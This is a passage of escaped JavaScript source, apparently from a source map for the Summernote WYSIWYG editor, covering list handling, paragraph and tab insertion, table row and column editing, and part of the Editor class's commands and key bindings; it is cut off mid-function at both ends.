lists.from(nextList.childNodes));\n dom.remove(nextList);\n }\n\n return paras;\n }\n\n /**\n * @method releaseList\n *\n * @param {Array[]} clustereds\n * @param {Boolean} isEscapseToBody\n * @return {Node[]}\n */\n releaseList(clustereds, isEscapseToBody) {\n let releasedParas = [];\n\n $.each(clustereds, (idx, paras) => {\n const head = lists.head(paras);\n const last = lists.last(paras);\n\n const headList = isEscapseToBody ? dom.lastAncestor(head, dom.isList) : head.parentNode;\n const lastList = headList.childNodes.length > 1 ? dom.splitTree(headList, {\n node: last.parentNode,\n offset: dom.position(last) + 1\n }, {\n isSkipPaddingBlankHTML: true\n }) : null;\n\n const middleList = dom.splitTree(headList, {\n node: head.parentNode,\n offset: dom.position(head)\n }, {\n isSkipPaddingBlankHTML: true\n });\n\n paras = isEscapseToBody ? dom.listDescendant(middleList, dom.isLi)\n : lists.from(middleList.childNodes).filter(dom.isLi);\n\n // LI to P\n if (isEscapseToBody || !dom.isList(headList.parentNode)) {\n paras = paras.map((para) => {\n return dom.replace(para, 'P');\n });\n }\n\n $.each(lists.from(paras).reverse(), (idx, para) => {\n dom.insertAfter(para, headList);\n });\n\n // remove empty lists\n const rootLists = lists.compact([headList, middleList, lastList]);\n $.each(rootLists, (idx, rootList) => {\n const listNodes = [rootList].concat(dom.listDescendant(rootList, dom.isList));\n $.each(listNodes.reverse(), (idx, listNode) => {\n if (!dom.nodeLength(listNode)) {\n dom.remove(listNode, true);\n }\n });\n });\n\n releasedParas = releasedParas.concat(paras);\n });\n\n return releasedParas;\n }\n}\n","import $ from 'jquery';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport Bullet from '../editing/Bullet';\n\n/**\n * @class editing.Typing\n *\n * Typing\n *\n */\nexport default class Typing {\n constructor() {\n // a Bullet instance to toggle lists off\n this.bullet = new Bullet();\n }\n\n /**\n * insert tab\n *\n * @param {WrappedRange} rng\n * @param {Number} tabsize\n */\n insertTab(rng, tabsize) {\n const tab = dom.createText(new Array(tabsize + 1).join(dom.NBSP_CHAR));\n rng = rng.deleteContents();\n rng.insertNode(tab, true);\n\n rng = range.create(tab, tabsize);\n rng.select();\n }\n\n /**\n * insert paragraph\n */\n insertParagraph(editable) {\n let rng = range.create(editable);\n\n // deleteContents on range.\n rng = rng.deleteContents();\n\n // Wrap range if it needs to be wrapped by paragraph\n rng = rng.wrapBodyInlineWithPara();\n\n // finding paragraph\n const splitRoot = dom.ancestor(rng.sc, dom.isPara);\n\n let nextPara;\n // on paragraph: split paragraph\n if (splitRoot) {\n // if it is an empty line with li\n if (dom.isEmpty(splitRoot) && dom.isLi(splitRoot)) {\n // toogle UL/OL and escape\n this.bullet.toggleList(splitRoot.parentNode.nodeName);\n return;\n // if it is an empty line with para on blockquote\n } else if (dom.isEmpty(splitRoot) && dom.isPara(splitRoot) && dom.isBlockquote(splitRoot.parentNode)) {\n // escape blockquote\n dom.insertAfter(splitRoot, splitRoot.parentNode);\n nextPara = splitRoot;\n // if new line has content (not a line break)\n } else {\n nextPara = dom.splitTree(splitRoot, rng.getStartPoint());\n\n let emptyAnchors = dom.listDescendant(splitRoot, dom.isEmptyAnchor);\n emptyAnchors = emptyAnchors.concat(dom.listDescendant(nextPara, dom.isEmptyAnchor));\n\n $.each(emptyAnchors, (idx, anchor) => {\n dom.remove(anchor);\n });\n\n // replace empty heading, pre or custom-made styleTag with P tag\n if ((dom.isHeading(nextPara) || dom.isPre(nextPara) || dom.isCustomStyleTag(nextPara)) && dom.isEmpty(nextPara)) {\n nextPara = dom.replace(nextPara, 'p');\n }\n }\n // no paragraph: insert empty paragraph\n } else {\n const next = rng.sc.childNodes[rng.so];\n nextPara = $(dom.emptyPara)[0];\n if (next) {\n rng.sc.insertBefore(nextPara, next);\n } else {\n rng.sc.appendChild(nextPara);\n }\n }\n\n range.create(nextPara, 0).normalize().select().scrollIntoView(editable);\n }\n}\n","import $ from 'jquery';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport lists from '../core/lists';\n\n/**\n * @class Create a virtual table to create what actions to do in change.\n * @param {object} startPoint Cell selected to apply change.\n * @param {enum} where Where change will be applied Row or Col. Use enum: TableResultAction.where\n * @param {enum} action Action to be applied. Use enum: TableResultAction.requestAction\n * @param {object} domTable Dom element of table to make changes.\n */\nconst TableResultAction = function(startPoint, where, action, domTable) {\n const _startPoint = { 'colPos': 0, 'rowPos': 0 };\n const _virtualTable = [];\n const _actionCellList = [];\n\n /// ///////////////////////////////////////////\n // Private functions\n /// ///////////////////////////////////////////\n\n /**\n * Set the startPoint of action.\n */\n function setStartPoint() {\n if (!startPoint || !startPoint.tagName || (startPoint.tagName.toLowerCase() !== 'td' && startPoint.tagName.toLowerCase() !== 'th')) {\n console.error('Impossible to identify start Cell point.', startPoint);\n return;\n }\n _startPoint.colPos = startPoint.cellIndex;\n if (!startPoint.parentElement || !startPoint.parentElement.tagName || startPoint.parentElement.tagName.toLowerCase() !== 'tr') {\n console.error('Impossible to identify start Row point.', startPoint);\n return;\n }\n _startPoint.rowPos = startPoint.parentElement.rowIndex;\n }\n\n /**\n * Define virtual table position info object.\n *\n * @param {int} rowIndex Index position in line of virtual table.\n * @param {int} cellIndex Index position in column of virtual table.\n * @param {object} baseRow Row affected by this position.\n * @param {object} baseCell Cell affected by this position.\n * @param {bool} isSpan Inform if it is an span cell/row.\n */\n function setVirtualTablePosition(rowIndex, cellIndex, baseRow, baseCell, isRowSpan, isColSpan, isVirtualCell) {\n const objPosition = {\n 'baseRow': baseRow,\n 'baseCell': baseCell,\n 'isRowSpan': isRowSpan,\n 'isColSpan': isColSpan,\n 'isVirtual': isVirtualCell\n };\n if (!_virtualTable[rowIndex]) {\n _virtualTable[rowIndex] = [];\n }\n _virtualTable[rowIndex][cellIndex] = objPosition;\n }\n\n /**\n * Create action cell object.\n *\n * @param {object} virtualTableCellObj Object of specific position on virtual table.\n * @param {enum} resultAction Action to be applied in that item.\n */\n function getActionCell(virtualTableCellObj, resultAction, virtualRowPosition, virtualColPosition) {\n return {\n 'baseCell': virtualTableCellObj.baseCell,\n 'action': resultAction,\n 'virtualTable': {\n 'rowIndex': virtualRowPosition,\n 'cellIndex': virtualColPosition\n }\n };\n }\n\n /**\n * Recover free index of row to append Cell.\n *\n * @param {int} rowIndex Index of row to find free space.\n * @param {int} cellIndex Index of cell to find free space in table.\n */\n function recoverCellIndex(rowIndex, cellIndex) {\n if (!_virtualTable[rowIndex]) {\n return cellIndex;\n }\n if (!_virtualTable[rowIndex][cellIndex]) {\n return cellIndex;\n }\n\n let newCellIndex = cellIndex;\n while (_virtualTable[rowIndex][newCellIndex]) {\n newCellIndex++;\n if (!_virtualTable[rowIndex][newCellIndex]) {\n return newCellIndex;\n }\n }\n }\n\n /**\n * Recover info about row and cell and add information to virtual table.\n *\n * @param {object} row Row to recover information.\n * @param {object} cell Cell to recover information.\n */\n function addCellInfoToVirtual(row, cell) {\n const cellIndex = recoverCellIndex(row.rowIndex, cell.cellIndex);\n const cellHasColspan = (cell.colSpan > 1);\n const cellHasRowspan = (cell.rowSpan > 1);\n const isThisSelectedCell = (row.rowIndex === _startPoint.rowPos && cell.cellIndex === _startPoint.colPos);\n setVirtualTablePosition(row.rowIndex, cellIndex, row, cell, cellHasRowspan, cellHasColspan, false);\n\n // Add span rows to virtual Table.\n const rowspanNumber = cell.attributes.rowSpan ? parseInt(cell.attributes.rowSpan.value, 10) : 0;\n if (rowspanNumber > 1) {\n for (let rp = 1; rp < rowspanNumber; rp++) {\n const rowspanIndex = row.rowIndex + rp;\n adjustStartPoint(rowspanIndex, cellIndex, cell, isThisSelectedCell);\n setVirtualTablePosition(rowspanIndex, cellIndex, row, cell, true, cellHasColspan, true);\n }\n }\n\n // Add span cols to virtual table.\n const colspanNumber = cell.attributes.colSpan ? parseInt(cell.attributes.colSpan.value, 10) : 0;\n if (colspanNumber > 1) {\n for (let cp = 1; cp < colspanNumber; cp++) {\n const cellspanIndex = recoverCellIndex(row.rowIndex, (cellIndex + cp));\n adjustStartPoint(row.rowIndex, cellspanIndex, cell, isThisSelectedCell);\n setVirtualTablePosition(row.rowIndex, cellspanIndex, row, cell, cellHasRowspan, true, true);\n }\n }\n }\n\n /**\n * Process validation and adjust of start point if needed\n *\n * @param {int} rowIndex\n * @param {int} cellIndex\n * @param {object} cell\n * @param {bool} isSelectedCell\n */\n function adjustStartPoint(rowIndex, cellIndex, cell, isSelectedCell) {\n if (rowIndex === _startPoint.rowPos && _startPoint.colPos >= cell.cellIndex && cell.cellIndex <= cellIndex && !isSelectedCell) {\n _startPoint.colPos++;\n }\n }\n\n /**\n * Create virtual table of cells with all cells, including span cells.\n */\n function createVirtualTable() {\n const rows = domTable.rows;\n for (let rowIndex = 0; rowIndex < rows.length; rowIndex++) {\n const cells = rows[rowIndex].cells;\n for (let cellIndex = 0; cellIndex < cells.length; cellIndex++) {\n addCellInfoToVirtual(rows[rowIndex], cells[cellIndex]);\n }\n }\n }\n\n /**\n * Get action to be applied on the cell.\n *\n * @param {object} cell virtual table cell to apply action\n */\n function getDeleteResultActionToCell(cell) {\n switch (where) {\n case TableResultAction.where.Column:\n if (cell.isColSpan) {\n return TableResultAction.resultAction.SubtractSpanCount;\n }\n break;\n case TableResultAction.where.Row:\n if (!cell.isVirtual && cell.isRowSpan) {\n return TableResultAction.resultAction.AddCell;\n } else if (cell.isRowSpan) {\n return TableResultAction.resultAction.SubtractSpanCount;\n }\n break;\n }\n return TableResultAction.resultAction.RemoveCell;\n }\n\n /**\n * Get action to be applied on the cell.\n *\n * @param {object} cell virtual table cell to apply action\n */\n function getAddResultActionToCell(cell) {\n switch (where) {\n case TableResultAction.where.Column:\n if (cell.isColSpan) {\n return TableResultAction.resultAction.SumSpanCount;\n } else if (cell.isRowSpan && cell.isVirtual) {\n return TableResultAction.resultAction.Ignore;\n }\n break;\n case TableResultAction.where.Row:\n if (cell.isRowSpan) {\n return TableResultAction.resultAction.SumSpanCount;\n } else if (cell.isColSpan && cell.isVirtual) {\n return TableResultAction.resultAction.Ignore;\n }\n break;\n }\n return TableResultAction.resultAction.AddCell;\n }\n\n function init() {\n setStartPoint();\n createVirtualTable();\n }\n\n /// ///////////////////////////////////////////\n // Public functions\n /// ///////////////////////////////////////////\n\n /**\n * Recover array os what to do in table.\n */\n this.getActionList = function() {\n const fixedRow = (where === TableResultAction.where.Row) ? _startPoint.rowPos : -1;\n const fixedCol = (where === TableResultAction.where.Column) ? _startPoint.colPos : -1;\n\n let actualPosition = 0;\n let canContinue = true;\n while (canContinue) {\n const rowPosition = (fixedRow >= 0) ? fixedRow : actualPosition;\n const colPosition = (fixedCol >= 0) ? fixedCol : actualPosition;\n const row = _virtualTable[rowPosition];\n if (!row) {\n canContinue = false;\n return _actionCellList;\n }\n const cell = row[colPosition];\n if (!cell) {\n canContinue = false;\n return _actionCellList;\n }\n\n // Define action to be applied in this cell\n let resultAction = TableResultAction.resultAction.Ignore;\n switch (action) {\n case TableResultAction.requestAction.Add:\n resultAction = getAddResultActionToCell(cell);\n break;\n case TableResultAction.requestAction.Delete:\n resultAction = getDeleteResultActionToCell(cell);\n break;\n }\n _actionCellList.push(getActionCell(cell, resultAction, rowPosition, colPosition));\n actualPosition++;\n }\n\n return _actionCellList;\n };\n\n init();\n};\n/**\n*\n* Where action occours enum.\n*/\nTableResultAction.where = { 'Row': 0, 'Column': 1 };\n/**\n*\n* Requested action to apply enum.\n*/\nTableResultAction.requestAction = { 'Add': 0, 'Delete': 1 };\n/**\n*\n* Result action to be executed enum.\n*/\nTableResultAction.resultAction = { 'Ignore': 0, 'SubtractSpanCount': 1, 'RemoveCell': 2, 'AddCell': 3, 'SumSpanCount': 4 };\n\n/**\n *\n * @class editing.Table\n *\n * Table\n *\n */\nexport default class Table {\n /**\n * handle tab key\n *\n * @param {WrappedRange} rng\n * @param {Boolean} isShift\n */\n tab(rng, isShift) {\n const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n const table = dom.ancestor(cell, dom.isTable);\n const cells = dom.listDescendant(table, dom.isCell);\n\n const nextCell = lists[isShift ? 'prev' : 'next'](cells, cell);\n if (nextCell) {\n range.create(nextCell, 0).select();\n }\n }\n\n /**\n * Add a new row\n *\n * @param {WrappedRange} rng\n * @param {String} position (top/bottom)\n * @return {Node}\n */\n addRow(rng, position) {\n const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n\n const currentTr = $(cell).closest('tr');\n const trAttributes = this.recoverAttributes(currentTr);\n const html = $('<tr' + trAttributes + '></tr>');\n\n const vTable = new TableResultAction(cell, TableResultAction.where.Row,\n TableResultAction.requestAction.Add, $(currentTr).closest('table')[0]);\n const actions = vTable.getActionList();\n\n for (let idCell = 0; idCell < actions.length; idCell++) {\n const currentCell = actions[idCell];\n const tdAttributes = this.recoverAttributes(currentCell.baseCell);\n switch (currentCell.action) {\n case TableResultAction.resultAction.AddCell:\n html.append('<td' + tdAttributes + '>' + dom.blank + '</td>');\n break;\n case TableResultAction.resultAction.SumSpanCount:\n if (position === 'top') {\n const baseCellTr = currentCell.baseCell.parent;\n const isTopFromRowSpan = (!baseCellTr ? 0 : currentCell.baseCell.closest('tr').rowIndex) <= currentTr[0].rowIndex;\n if (isTopFromRowSpan) {\n const newTd = $('<div></div>').append($('<td' + tdAttributes + '>' + dom.blank + '</td>').removeAttr('rowspan')).html();\n html.append(newTd);\n break;\n }\n }\n let rowspanNumber = parseInt(currentCell.baseCell.rowSpan, 10);\n rowspanNumber++;\n currentCell.baseCell.setAttribute('rowSpan', rowspanNumber);\n break;\n }\n }\n\n if (position === 'top') {\n currentTr.before(html);\n } else {\n const cellHasRowspan = (cell.rowSpan > 1);\n if (cellHasRowspan) {\n const lastTrIndex = currentTr[0].rowIndex + (cell.rowSpan - 2);\n $($(currentTr).parent().find('tr')[lastTrIndex]).after($(html));\n return;\n }\n currentTr.after(html);\n }\n }\n\n /**\n * Add a new col\n *\n * @param {WrappedRange} rng\n * @param {String} position (left/right)\n * @return {Node}\n */\n addCol(rng, position) {\n const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n const row = $(cell).closest('tr');\n const rowsGroup = $(row).siblings();\n rowsGroup.push(row);\n\n const vTable = new TableResultAction(cell, TableResultAction.where.Column,\n TableResultAction.requestAction.Add, $(row).closest('table')[0]);\n const actions = vTable.getActionList();\n\n for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {\n const currentCell = actions[actionIndex];\n const tdAttributes = this.recoverAttributes(currentCell.baseCell);\n switch (currentCell.action) {\n case TableResultAction.resultAction.AddCell:\n if (position === 'right') {\n $(currentCell.baseCell).after('<td' + tdAttributes + '>' + dom.blank + '</td>');\n } else {\n $(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');\n }\n break;\n case TableResultAction.resultAction.SumSpanCount:\n if (position === 'right') {\n let colspanNumber = parseInt(currentCell.baseCell.colSpan, 10);\n colspanNumber++;\n currentCell.baseCell.setAttribute('colSpan', colspanNumber);\n } else {\n $(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');\n }\n break;\n }\n }\n }\n\n /*\n * Copy attributes from element.\n *\n * @param {object} Element to recover attributes.\n * @return {string} Copied string elements.\n */\n recoverAttributes(el) {\n let resultStr = '';\n\n if (!el) {\n return resultStr;\n }\n\n const attrList = el.attributes || [];\n\n for (let i = 0; i < attrList.length; i++) {\n if (attrList[i].name.toLowerCase() === 'id') {\n continue;\n }\n\n if (attrList[i].specified) {\n resultStr += ' ' + attrList[i].name + '=\\'' + attrList[i].value + '\\'';\n }\n }\n\n return resultStr;\n }\n\n /**\n * Delete current row\n *\n * @param {WrappedRange} rng\n * @return {Node}\n */\n deleteRow(rng) {\n const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n const row = $(cell).closest('tr');\n const cellPos = row.children('td, th').index($(cell));\n const rowPos = row[0].rowIndex;\n\n const vTable = new TableResultAction(cell, TableResultAction.where.Row,\n TableResultAction.requestAction.Delete, $(row).closest('table')[0]);\n const actions = vTable.getActionList();\n\n for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {\n if (!actions[actionIndex]) {\n continue;\n }\n\n const baseCell = actions[actionIndex].baseCell;\n const virtualPosition = actions[actionIndex].virtualTable;\n const hasRowspan = (baseCell.rowSpan && baseCell.rowSpan > 1);\n let rowspanNumber = (hasRowspan) ? parseInt(baseCell.rowSpan, 10) : 0;\n switch (actions[actionIndex].action) {\n case TableResultAction.resultAction.Ignore:\n continue;\n case TableResultAction.resultAction.AddCell:\n const nextRow = row.next('tr')[0];\n if (!nextRow) { continue; }\n const cloneRow = row[0].cells[cellPos];\n if (hasRowspan) {\n if (rowspanNumber > 2) {\n rowspanNumber--;\n nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);\n nextRow.cells[cellPos].setAttribute('rowSpan', rowspanNumber);\n nextRow.cells[cellPos].innerHTML = '';\n } else if (rowspanNumber === 2) {\n nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);\n nextRow.cells[cellPos].removeAttribute('rowSpan');\n nextRow.cells[cellPos].innerHTML = '';\n }\n }\n continue;\n case TableResultAction.resultAction.SubtractSpanCount:\n if (hasRowspan) {\n if (rowspanNumber > 2) {\n rowspanNumber--;\n baseCell.setAttribute('rowSpan', rowspanNumber);\n if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n } else if (rowspanNumber === 2) {\n baseCell.removeAttribute('rowSpan');\n if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n }\n }\n continue;\n case TableResultAction.resultAction.RemoveCell:\n // Do not need remove cell because row will be deleted.\n continue;\n }\n }\n row.remove();\n }\n\n /**\n * Delete current col\n *\n * @param {WrappedRange} rng\n * @return {Node}\n */\n deleteCol(rng) {\n const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n const row = $(cell).closest('tr');\n const cellPos = row.children('td, th').index($(cell));\n\n const vTable = new TableResultAction(cell, TableResultAction.where.Column,\n TableResultAction.requestAction.Delete, $(row).closest('table')[0]);\n const actions = vTable.getActionList();\n\n for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {\n if (!actions[actionIndex]) {\n continue;\n }\n switch (actions[actionIndex].action) {\n case TableResultAction.resultAction.Ignore:\n continue;\n case TableResultAction.resultAction.SubtractSpanCount:\n const baseCell = actions[actionIndex].baseCell;\n const hasColspan = (baseCell.colSpan && baseCell.colSpan > 1);\n if (hasColspan) {\n let colspanNumber = (baseCell.colSpan) ? parseInt(baseCell.colSpan, 10) : 0;\n if (colspanNumber > 2) {\n colspanNumber--;\n baseCell.setAttribute('colSpan', colspanNumber);\n if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n } else if (colspanNumber === 2) {\n baseCell.removeAttribute('colSpan');\n if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n }\n }\n continue;\n case TableResultAction.resultAction.RemoveCell:\n dom.remove(actions[actionIndex].baseCell, true);\n continue;\n }\n }\n }\n\n /**\n * create empty table element\n *\n * @param {Number} rowCount\n * @param {Number} colCount\n * @return {Node}\n */\n createTable(colCount, rowCount, options) {\n const tds = [];\n let tdHTML;\n for (let idxCol = 0; idxCol < colCount; idxCol++) {\n tds.push('<td>' + dom.blank + '</td>');\n }\n tdHTML = tds.join('');\n\n const trs = [];\n let trHTML;\n for (let idxRow = 0; idxRow < rowCount; idxRow++) {\n trs.push('<tr>' + tdHTML + '</tr>');\n }\n trHTML = trs.join('');\n const $table = $('<table>' + trHTML + '</table>');\n if (options && options.tableClassName) {\n $table.addClass(options.tableClassName);\n }\n\n return $table[0];\n }\n\n /**\n * Delete current table\n *\n * @param {WrappedRange} rng\n * @return {Node}\n */\n deleteTable(rng) {\n const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n $(cell).closest('table').remove();\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport { readFileAsDataURL, createImage } from '../core/async';\nimport History from '../editing/History';\nimport Style from '../editing/Style';\nimport Typing from '../editing/Typing';\nimport Table from '../editing/Table';\nimport Bullet from '../editing/Bullet';\n\nconst KEY_BOGUS = 'bogus';\n\n/**\n * @class Editor\n */\nexport default class Editor {\n constructor(context) {\n this.context = context;\n\n this.$note = context.layoutInfo.note;\n this.$editor = context.layoutInfo.editor;\n this.$editable = context.layoutInfo.editable;\n this.options = context.options;\n this.lang = this.options.langInfo;\n\n this.editable = this.$editable[0];\n this.lastRange = null;\n\n this.style = new Style();\n this.table = new Table();\n this.typing = new Typing();\n this.bullet = new Bullet();\n this.history = new History(this.$editable);\n\n this.context.memo('help.undo', this.lang.help.undo);\n this.context.memo('help.redo', this.lang.help.redo);\n this.context.memo('help.tab', this.lang.help.tab);\n this.context.memo('help.untab', this.lang.help.untab);\n this.context.memo('help.insertParagraph', this.lang.help.insertParagraph);\n this.context.memo('help.insertOrderedList', this.lang.help.insertOrderedList);\n this.context.memo('help.insertUnorderedList', this.lang.help.insertUnorderedList);\n this.context.memo('help.indent', this.lang.help.indent);\n this.context.memo('help.outdent', this.lang.help.outdent);\n this.context.memo('help.formatPara', this.lang.help.formatPara);\n this.context.memo('help.insertHorizontalRule', this.lang.help.insertHorizontalRule);\n this.context.memo('help.fontName', this.lang.help.fontName);\n\n // native commands(with execCommand), generate function for execCommand\n const commands = [\n 'bold', 'italic', 'underline', 'strikethrough', 'superscript', 'subscript',\n 'justifyLeft', 'justifyCenter', 'justifyRight', 'justifyFull',\n 'formatBlock', 'removeFormat', 'backColor'\n ];\n\n for (let idx = 0, len = commands.length; idx < len; idx++) {\n this[commands[idx]] = ((sCmd) => {\n return (value) => {\n this.beforeCommand();\n document.execCommand(sCmd, false, value);\n this.afterCommand(true);\n };\n })(commands[idx]);\n this.context.memo('help.' + commands[idx], this.lang.help[commands[idx]]);\n }\n\n this.fontName = this.wrapCommand((value) => {\n return this.fontStyling('font-family', \"\\'\" + value + \"\\'\");\n });\n\n this.fontSize = this.wrapCommand((value) => {\n return this.fontStyling('font-size', value + 'px');\n });\n\n for (let idx = 1; idx <= 6; idx++) {\n this['formatH' + idx] = ((idx) => {\n return () => {\n this.formatBlock('H' + idx);\n };\n })(idx);\n this.context.memo('help.formatH' + idx, this.lang.help['formatH' + idx]);\n };\n\n this.insertParagraph = this.wrapCommand(() => {\n this.typing.insertParagraph(this.editable);\n });\n\n this.insertOrderedList = this.wrapCommand(() => {\n this.bullet.insertOrderedList(this.editable);\n });\n\n this.insertUnorderedList = this.wrapCommand(() => {\n this.bullet.insertUnorderedList(this.editable);\n });\n\n this.indent = this.wrapCommand(() => {\n this.bullet.indent(this.editable);\n });\n\n this.outdent = this.wrapCommand(() => {\n this.bullet.outdent(this.editable);\n });\n\n /**\n * insertNode\n * insert node\n * @param {Node} node\n */\n this.insertNode = this.wrapCommand((node) => {\n if (this.isLimited($(node).text().length)) {\n return;\n }\n const rng = this.createRange();\n rng.insertNode(node);\n range.createFromNodeAfter(node).select();\n });\n\n /**\n * insert text\n * @param {String} text\n */\n this.insertText = this.wrapCommand((text) => {\n if (this.isLimited(text.length)) {\n return;\n }\n const rng = this.createRange();\n const textNode = rng.insertNode(dom.createText(text));\n range.create(textNode, dom.nodeLength(textNode)).select();\n });\n /**\n * paste HTML\n * @param {String} markup\n */\n this.pasteHTML = this.wrapCommand((markup) => {\n if (this.isLimited(markup.length)) {\n return;\n }\n const contents = this.createRange().pasteHTML(markup);\n range.createFromNodeAfter(lists.last(contents)).select();\n });\n\n /**\n * formatBlock\n *\n * @param {String} tagName\n */\n this.formatBlock = this.wrapCommand((tagName, $target) => {\n const onApplyCustomStyle = this.options.callbacks.onApplyCustomStyle;\n if (onApplyCustomStyle) {\n onApplyCustomStyle.call(this, $target, this.context, this.onFormatBlock);\n } else {\n this.onFormatBlock(tagName, $target);\n }\n });\n\n /**\n * insert horizontal rule\n */\n this.insertHorizontalRule = this.wrapCommand(() => {\n const hrNode = this.createRange().insertNode(dom.create('HR'));\n if (hrNode.nextSibling) {\n range.create(hrNode.nextSibling, 0).normalize().select();\n }\n });\n\n /**\n * lineHeight\n * @param {String} value\n */\n this.lineHeight = this.wrapCommand((value) => {\n this.style.stylePara(this.createRange(), {\n lineHeight: value\n });\n });\n\n /**\n * create link (command)\n *\n * @param {Object} linkInfo\n */\n this.createLink = this.wrapCommand((linkInfo) => {\n let linkUrl = linkInfo.url;\n const linkText = linkInfo.text;\n const isNewWindow = linkInfo.isNewWindow;\n let rng = linkInfo.range || this.createRange();\n const isTextChanged = rng.toString() !== linkText;\n\n // handle spaced urls from input\n if (typeof linkUrl === 'string') {\n linkUrl = linkUrl.trim();\n }\n\n if (this.options.onCreateLink) {\n linkUrl = this.options.onCreateLink(linkUrl);\n } else {\n // if url doesn't match an URL schema, set http:// as default\n linkUrl = /^[A-Za-z][A-Za-z0-9+-.]*\\:[\\/\\/]?/.test(linkUrl)\n ? linkUrl : 'http://' + linkUrl;\n }\n\n let anchors = [];\n if (isTextChanged) {\n rng = rng.deleteContents();\n const anchor = rng.insertNode($('<A>' + linkText + '</A>')[0]);\n anchors.push(anchor);\n } else {\n anchors = this.style.styleNodes(rng, {\n nodeName: 'A',\n expandClosestSibling: true,\n onlyPartialContains: true\n });\n }\n\n $.each(anchors, (idx, anchor) => {\n $(anchor).attr('href', linkUrl);\n if (isNewWindow) {\n $(anchor).attr('target', '_blank');\n } else {\n $(anchor).removeAttr('target');\n }\n });\n\n const startRange = range.createFromNodeBefore(lists.head(anchors));\n const startPoint = startRange.getStartPoint();\n const endRange = range.createFromNodeAfter(lists.last(anchors));\n const endPoint = endRange.getEndPoint();\n\n range.create(\n startPoint.node,\n startPoint.offset,\n endPoint.node,\n endPoint.offset\n ).select();\n });\n\n /**\n * setting color\n *\n * @param {Object} sObjColor color code\n * @param {String} sObjColor.foreColor foreground color\n * @param {String} sObjColor.backColor background color\n */\n this.color = this.wrapCommand((colorInfo) => {\n const foreColor = colorInfo.foreColor;\n const backColor = colorInfo.backColor;\n\n if (foreColor) { document.execCommand('foreColor', false, foreColor); }\n if (backColor) { document.execCommand('backColor', false, backColor); }\n });\n\n /**\n * Set foreground color\n *\n * @param {String} colorCode foreground color code\n */\n this.foreColor = this.wrapCommand((colorInfo) => {\n document.execCommand('styleWithCSS', false, true);\n document.execCommand('foreColor', false, colorInfo);\n });\n\n /**\n * insert Table\n *\n * @param {String} dimension of table (ex : \"5x5\")\n */\n this.insertTable = this.wrapCommand((dim) => {\n const dimension = dim.split('x');\n\n const rng = this.createRange().deleteContents();\n rng.insertNode(this.table.createTable(dimension[0], dimension[1], this.options));\n });\n\n /**\n * remove media object and Figure Elements if media object is img with Figure.\n */\n this.removeMedia = this.wrapCommand(() => {\n let $target = $(this.restoreTarget()).parent();\n if ($target.parent('figure').length) {\n $target.parent('figure').remove();\n } else {\n $target = $(this.restoreTarget()).detach();\n }\n this.context.triggerEvent('media.delete', $target, this.$editable);\n });\n\n /**\n * float me\n *\n * @param {String} value\n */\n this.floatMe = this.wrapCommand((value) => {\n const $target = $(this.restoreTarget());\n $target.toggleClass('note-float-left', value === 'left');\n $target.toggleClass('note-float-right', value === 'right');\n $target.css('float', value);\n });\n\n /**\n * resize overlay element\n * @param {String} value\n */\n this.resize = this.wrapCommand((value) => {\n const $target = $(this.restoreTarget());\n $target.css({\n width: value * 100 + '%',\n height: ''\n });\n });\n }\n\n initialize() {\n // bind custom events\n this.$editable.on('keydown', (event) => {\n if (event.keyCode === key.code.ENTER) {\n this.context.triggerEvent('enter', event);\n }\n this.context.triggerEvent('keydown', event);\n\n if (!event.isDefaultPrevented()) {\n if (this.options.shortcuts) {\n this.handleKeyMap(event);\n } else {\n this.preventDefaultEditableShortCuts(event);\n }\n }\n if (this.isLimited(1, event)) {\n return false;\n }\n }).on('keyup', (event) => {\n this.context.triggerEvent('keyup', event);\n }).on('focus', (event) => {\n this.context.triggerEvent('focus', event);\n }).on('blur', (event) => {\n this.context.triggerEvent('blur', event);\n }).on('mousedown', (event) => {\n this.context.triggerEvent('mousedown', event);\n }).on('mouseup', (event) => {\n this.context.triggerEvent('mouseup', event);\n }).on('scroll', (event) => {\n this.context.triggerEvent('scroll', event);\n }).on('paste', (event) => {\n this.context.triggerEvent('paste', event);\n });\n\n // init content before set event\n this.$editable.html(dom.html(this.$note) || dom.emptyPara);\n\n this.$editable.on(env.inputEventName, func.debounce(() => {\n this.context.triggerEvent('change', this.$editable.html());\n }, 100));\n\n this.$editor.on('focusin', (event) => {\n this.context.triggerEvent('focusin', event);\n }).on('focusout', (event) => {\n this.context.triggerEvent('focusout', event);\n });\n\n if (!this.options.airMode) {\n if (this.options.width) {\n this.$editor.outerWidth(this.options.width);\n }\n if (this.options.height) {\n this.$editable.outerHeight(this.options.height);\n }\n if (this.options.maxHeight) {\n this.$editable.css('max-height', this.options.maxHeight);\n }\n if (this.options.minHeight) {\n this.$editable.css('min-height', this.options.minHeight);\n }\n }\n\n this.history.recordUndo();\n }\n\n destroy() {\n this.$editable.off();\n }\n\n handleKeyMap(event) {\n const keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];\n const keys = [];\n\n if (event.metaKey) { keys.push('CMD'); }\n if (event.ctrlKey && !event.altKey) { keys.push('CTRL'); }\n if (event.shiftKey) { keys.push('SHIFT'); }\n\n const keyName = key.nameFromCode[event.keyCode];\n if (keyName) {\n keys.push(keyName);\n }\n\n const eventName = keyMap[keys.join('+')];\n if (eventName) {\n if (this.context.invoke(eventName) !== false) {\n event.preventDefault();\n 